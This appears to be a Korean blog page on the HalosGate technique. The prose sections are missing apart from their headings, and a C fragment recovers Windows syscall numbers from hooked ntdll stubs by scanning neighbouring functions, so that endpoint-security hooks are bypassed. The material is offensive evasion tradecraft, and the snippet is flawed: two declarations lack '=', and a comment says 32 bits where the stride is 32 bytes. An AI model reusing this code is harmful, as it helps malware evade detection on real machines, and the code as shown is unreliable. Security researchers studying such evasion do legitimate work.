HalosGate
Disclaimer
문제

해결
중요 개념 - NTAPI들의 시스템 콜 번호 패턴


코드
적용과 예시
마치며
레퍼런스
Last updated



Last updated
// 시스템 콜 번호 바이트 패턴
0 1 2 3 4 5 6 7
4c 8b d1 b8 27 00 00 00
// 5번째 바이트 bitwise shift left 8 | 4번째 바이트
(00 << 8) | 27 == 27 // NTAPI 함수들의 stub는 항상 32비트로 일정.
int GoUp -32;
int GoDown 32;
// 첫 명령어가 e9 (jmp) 라면 후킹 되어 있다는 뜻. 이럴 경우 HalosGate 기법 시작.
if (*((PBYTE)pFunctionAddress) == 0xe9) {
// 반복문 실행, 인덱스 i
for (WORD index = 1; index <= 500; index++) {
// 현 함수에서 인덱스 * 32비트를 이용해 "아래로" 내려감. 그 뒤, 시스템 콜 번호 바이트
// 패턴을 Hells Gate 조건문을 이용해 찾음.
if (*((PBYTE)pFunctionAddress + index * GoDown) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + index * GoDown) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + index * GoDown) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + index * GoDown) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + index * GoDown) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + index * GoDown) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoDown);
BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoDown);
// "아래로" 내려갔으니, 이웃함수의 시스템 콜 번호에서 index 만큼 "빼기" == 타겟 함수의 시스템 콜 번호.
pVxTableEntry->wSystemCall = (high << 8) | low - index;
return TRUE;
}
// 이번엔 "위로" 올라감. 시스템 콜 번호 바이트 패턴을 HellsGate 조건문을 이용해 찾음.
if (*((PBYTE)pFunctionAddress + index * GoUp) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + index * GoUp) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + index * GoUp) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + index * GoUp) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + index * GoUp) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + index * GoUp) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoUp);
BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoUp);
// "위로" 올라갔으니, 이웃함수의 시스템 콜 번호에서 index 만큼 "더하기" == 타겟 함수의 시스템 콜 번호.
pVxTableEntry->wSystemCall = (high << 8) | low + index;
return TRUE;
}
}